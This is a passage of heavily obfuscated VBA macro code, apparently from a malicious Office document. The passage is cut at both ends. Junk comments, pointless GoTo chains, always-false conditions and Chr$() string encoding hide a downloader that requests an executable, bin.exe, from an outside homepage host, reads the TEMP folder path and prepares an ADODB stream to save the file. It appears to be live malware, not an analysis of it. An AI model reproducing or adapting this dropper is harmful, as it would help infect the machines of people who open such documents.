fygyhTjLGpPATZnIOilgbBxQIlFn:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo TLZEBfyHUmRNcaFEScDaABDvCbqb
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
TLZEBfyHUmRNcaFEScDaABDvCbqb:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo NQztTCbOlwyCxBxuEUZKTouQqzCb
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
NQztTCbOlwyCxBxuEUZKTouQqzCb:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo kvhZgTgYqYamfvPzYCWEIpcbbolb
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
kvhZgTgYqYamfvPzYCWEIpcbbolb:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
BIbkfdlh.Open Chr$(71) & Chr$(69) & Chr$(84), Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(82) & Chr$(105) & Chr$(99) & Chr$(99) & Chr$(105) & Chr$(115) & Chr$(46) & Chr$(104) & Chr$(111) & Chr$(109) & Chr$(101) & Chr$(112) & Chr$(97) & Chr$(103) & Chr$(101) & Chr$(46) & Chr$(116) & Chr$(45) & Chr$(111) & Chr$(110) & Chr$(108) & Chr$(105) & Chr$(110) & Chr$(101) & Chr$(46) & Chr$(100) & Chr$(101) & Chr$(47) & Chr$(84) & Chr$(101) & Chr$(115) & Chr$(116) & Chr$(115) & Chr$(101) & Chr$(105) & Chr$(116) & Chr$(101) & Chr$(47) & Chr$(106) & Chr$(115) & Chr$(47) & Chr$(98) & Chr$(105) & Chr$(110) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), 0
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QXXAnsfaLMkJcqjlOkDGEbijzqMQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QXXAnsfaLMkJcqjlOkDGEbijzqMQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo wcyjMAJTWupgLnbsSzFoKaeGJCzL
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
wcyjMAJTWupgLnbsSzFoKaeGJCzL:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 648151 = 648151 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 1491 < 78 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo FCUdBpZLlZqMTdzWlRpoEhneUdAF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
FCUdBpZLlZqMTdzWlRpoEhneUdAF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ilgsqHAfNHZhGBIscBamvTqLpgza
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ilgsqHAfNHZhGBIscBamvTqLpgza:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(106) & Chr$(120) & Chr$(106) & Chr$(86) & Chr$(104) & Chr$(86) & Chr$(69) & Chr$(87) & Chr$(52) & Chr$(50))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo KXcaRttKeemDphJtnOzFFiykBzpo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
KXcaRttKeemDphJtnOzFFiykBzpo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo LEoUtrhTbgFqJqZcEOdjxXsvavBd
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
LEoUtrhTbgFqJqZcEOdjxXsvavBd:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(71) & Chr$(68) & Chr$(70) & Chr$(108) & Chr$(102) & Chr$(98) & Chr$(109) & Chr$(104) & Chr$(56) & Chr$(50) & Chr$(57) & Chr$(51)) = Len(Chr$(73) & Chr$(103) & Chr$(69) & Chr$(83) & Chr$(75) & Chr$(89) & Chr$(114) & Chr$(75)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YnqbdizzYyiWGZsQwGjdQRgPRwId
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YnqbdizzYyiWGZsQwGjdQRgPRwId:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo eUqVeQoWrxWhjZdvbfYVbplEwlfP
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
eUqVeQoWrxWhjZdvbfYVbplEwlfP:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo rhCTEPlIAIgDCcVKZfHnoVvPcHeF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
rhCTEPlIAIgDCcVKZfHnoVvPcHeF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo wzpesloTlLpsGXqDTRpsqVFvSCbF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
wzpesloTlLpsGXqDTRpsqVFvSCbF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo iKCAMcMYBsFOebIseKJfEGJVRUHQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
iKCAMcMYBsFOebIseKJfEGJVRUHQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo bTqBZyPEHxIiWBWuyiqBTHiQLFsQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
bTqBZyPEHxIiWBWuyiqBTHiQLFsQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
BIbkfdlh.Send
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo LzKCGSIVvPNRtQZcoZzpnyKZwJDC
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
LzKCGSIVvPNRtQZcoZzpnyKZwJDC:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ERaDozdZACKanzQjddeRHIDaqEWy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ERaDozdZACKanzQjddeRHIDaqEWy:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim path, WshShell
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 782413 = 782413 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 9786 < 99 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YlClsuaVeBPYkRWsakbiAhwgQslj
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YlClsuaVeBPYkRWsakbiAhwgQslj:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo UNIBDysQnqrrVvYTrkOPprAmDIim
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
UNIBDysQnqrrVvYTrkOPprAmDIim:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(117) & Chr$(122) & Chr$(72) & Chr$(97) & Chr$(105) & Chr$(87) & Chr$(75) & Chr$(102) & Chr$(57) & Chr$(52))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QkSuJeRCFbLbCYQwiwkDSuNEeazQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QkSuJeRCFbLbCYQwiwkDSuNEeazQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo tFltrIZkwSqXullSqHpVUcPmTrZC
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
tFltrIZkwSqXullSqHpVUcPmTrZC:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(73) & Chr$(114) & Chr$(89) & Chr$(86) & Chr$(79) & Chr$(108) & Chr$(75) & Chr$(121) & Chr$(55) & Chr$(53) & Chr$(55) & Chr$(56)) = Len(Chr$(105) & Chr$(71) & Chr$(110) & Chr$(86) & Chr$(90) & Chr$(76) & Chr$(83) & Chr$(97)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo SvzxYMOVHuJftySfyinnMTiKmDKv
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SvzxYMOVHuJftySfyinnMTiKmDKv:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo rqhMgZbWIkQSCRBoocMsXTvYOMgv
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
rqhMgZbWIkQSCRBoocMsXTvYOMgv:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo cIXKAochhTeiujYbdKQcJWixsCGP
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
cIXKAochhTeiujYbdKQcJWixsCGP:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo iqyIWvzMlKWTAUGlhZSJuceWaOCK
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
iqyIWvzMlKWTAUGlhZSJuceWaOCK:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo RJIVliXFkdWgPHEwiNRBXvWLWXIR
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
RJIVliXFkdWgPHEwiNRBXvWLWXIR:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo glJDDxnlmvDQtuSgsORlsaHkQIHS
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
glJDDxnlmvDQtuSgsORlsaHkQIHS:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
path = Environ(Chr$(84) & Chr$(69) & Chr$(77) & Chr$(80))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo zTlrPPdldFzuKPhEgvrflKtLFjey
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
zTlrPPdldFzuKPhEgvrflKtLFjey:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo llUAllejtBCTPpZckFcBxLwUecby
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
llUAllejtBCTPpZckFcBxLwUecby:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 276824 = 276824 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 7778 < 41 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo FDnZfTsSFXWpdhPplMkmOwYoPUkz
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
FDnZfTsSFXWpdhPplMkmOwYoPUkz:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo vhOkYWHjJiDUUYMzxRlFVCAUbmbp
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
vhOkYWHjJiDUUYMzxRlFVCAUbmbp:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(67) & Chr$(80) & Chr$(117) & Chr$(83) & Chr$(99) & Chr$(121) & Chr$(104) & Chr$(114) & Chr$(57) & Chr$(52))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo bCmViMNrglutgnRwbRZkUQUDAJgf
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
bCmViMNrglutgnRwbRZkUQUDAJgf:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ZgbydJlhAICndOOsZIqloGuXJoiE
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ZgbydJlhAICndOOsZIqloGuXJoiE:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(119) & Chr$(97) & Chr$(82) & Chr$(105) & Chr$(109) & Chr$(85) & Chr$(117) & Chr$(118) & Chr$(53) & Chr$(52) & Chr$(55) & Chr$(49)) = Len(Chr$(103) & Chr$(90) & Chr$(108) & Chr$(98) & Chr$(78) & Chr$(70) & Chr$(72) & Chr$(78)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YlLQDDYKliLetreHqNWQluDTIPtG
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YlLQDDYKliLetreHqNWQluDTIPtG:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lTwzPNlLdxivKITtfFlRABzyQkkp
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lTwzPNlLdxivKITtfFlRABzyQkkp:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QkIblIoHrUeCPuLNjrDjRBlMNvFo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QkIblIoHrUeCPuLNjrDjRBlMNvFo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo tGhcRgiqSWllMLbjmvTAbgeQZAgw
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
tGhcRgiqSWllMLbjmvTAbgeQZAgw:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QgNilnWMoboOhMWaKDMlVrwDdpjl
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QgNilnWMoboOhMWaKDMlVrwDdpjl:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo yQYuYuLgJDbtbYZkXiSTLlyRGdKY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
yQYuYuLgJDbtbYZkXiSTLlyRGdKY:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Set oOHjh = CreateObject(Chr$(65) & Chr$(68) & Chr$(79) & Chr$(68) & Chr$(66) & Chr$(46) & Chr$(83) & Chr$(116) & Chr$(114) & Chr$(101) & Chr$(97) & Chr$(109))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo HfHXNxcLLNkZWXQpBKDBiWaeRBNF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
HfHXNxcLLNkZWXQpBKDBiWaeRBNF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo EnldCOpWSgUCInfveYsLjDhRUUdi
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
EnldCOpWSgUCInfveYsLjDhRUUdi:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 311155 = 311155 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 8766 < 13 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo yBjHZGKOJlMcsmZbtBbFppIftRlG
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
yBjHZGKOJlMcsmZbtBbFppIftRlG:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo bxVFFmHrbUqLwupJilkNtblrUYLa
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
bxVFFmHrbUqLwupJilkNtblrUYLa:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(107) & Chr$(71) & Chr$(118) & Chr$(106) & Chr$(113) & Chr$(81) & Chr$(118) & Chr$(100) & Chr$(52) & Chr$(53))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo pVuEiPmIAMejJclOqrllmzdZxlao
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
pVuEiPmIAMejJclOqrllmzdZxlao:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo qYKqIORwByxFckrefrZXeHlOvHHd
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
qYKqIORwByxFckrefrZXeHlOvHHd:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(98) & Chr$(97) & Chr$(108) & Chr$(88) & Chr$(97) & Chr$(69) & Chr$(79) & Chr$(99) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(56)) = Len(Chr$(78) & Chr$(83) & Chr$(102) & Chr$(88) & Chr$(77) & Chr$(101) & Chr$(82) & Chr$(107)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ogPPAcOxRJuRJhwXbcJkZOdzMTWy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ogPPAcOxRJuRJhwXbcJkZOdzMTWy:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo LHLnWDfNUrNadYRFZiKSJsinOkef
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
LHLnWDfNUrNadYRFZiKSJsinOkef:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YewJKNNzblgxBpirYXjTBexzSNhI
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YewJKNNzblgxBpirYXjTBexzSNhI:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo VHOgnIHBkEoMJImVOsPkzeDHauQU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
VHOgnIHBkEoMJImVOsPkzeDHauQU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lRRohygmNghyQTaNilSaLqIhNXho
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lRRohygmNghyQTaNilSaLqIhNXho:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QjJUVFrjKbpREtgMqPySWqBrgeSo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QjJUVFrjKbpREtgMqPySWqBrgeSo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oOHjh.Mode = 3
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo tFvTpmeSbDAaDJWsgrCCJAOWJydm
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
tFvTpmeSbDAaDJWsgrCCJAOWJydm:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo GjUmEPYhZBlcoirrkFVkyeRlYKmE
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GjUmEPYhZBlcoirrkFVkyeRlYKmE:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 661938 = 661938 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 4423 < 18 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lYlNgJoIlFovDpqIcRLlZMcxtgmw
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lYlNgJoIlFovDpqIcRLlZMcxtgmw:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo xBculDALTzVMSkhvnOAwrVCTmUgS
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
xBculDALTzVMSkhvnOAwrVCTmUgS:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(104) & Chr$(82) & Chr$(84) & Chr$(75) & Chr$(98) & Chr$(74) & Chr$(70) & Chr$(86) & Chr$(49) & Chr$(56))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo HwtyTlbffhhjXrCHRelUNfUxCOGV
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
HwtyTlbffhhjXrCHRelUNfUxCOGV:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo nVfWBOrKhZiFjmyIUDlagGZWSwCy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
nVfWBOrKhZiFjmyIUDlagGZWSwCy:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(117) & Chr$(81) & Chr$(86) & Chr$(89) & Chr$(105) & Chr$(78) & Chr$(108) & Chr$(78) & Chr$(50) & Chr$(49) & Chr$(49) & Chr$(53)) = Len(Chr$(78) & Chr$(100) & Chr$(68) & Chr$(86) & Chr$(83) & Chr$(121) & Chr$(122) & Chr$(65)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo kAMbhXyGQyREoRMGmnEYwuCaBxum
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
kAMbhXyGQyREoRMGmnEYwuCaBxum:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo SBAvAZtpllWNljnycWwKjxUJZbUY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SBAvAZtpllWNljnycWwKjxUJZbUY:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
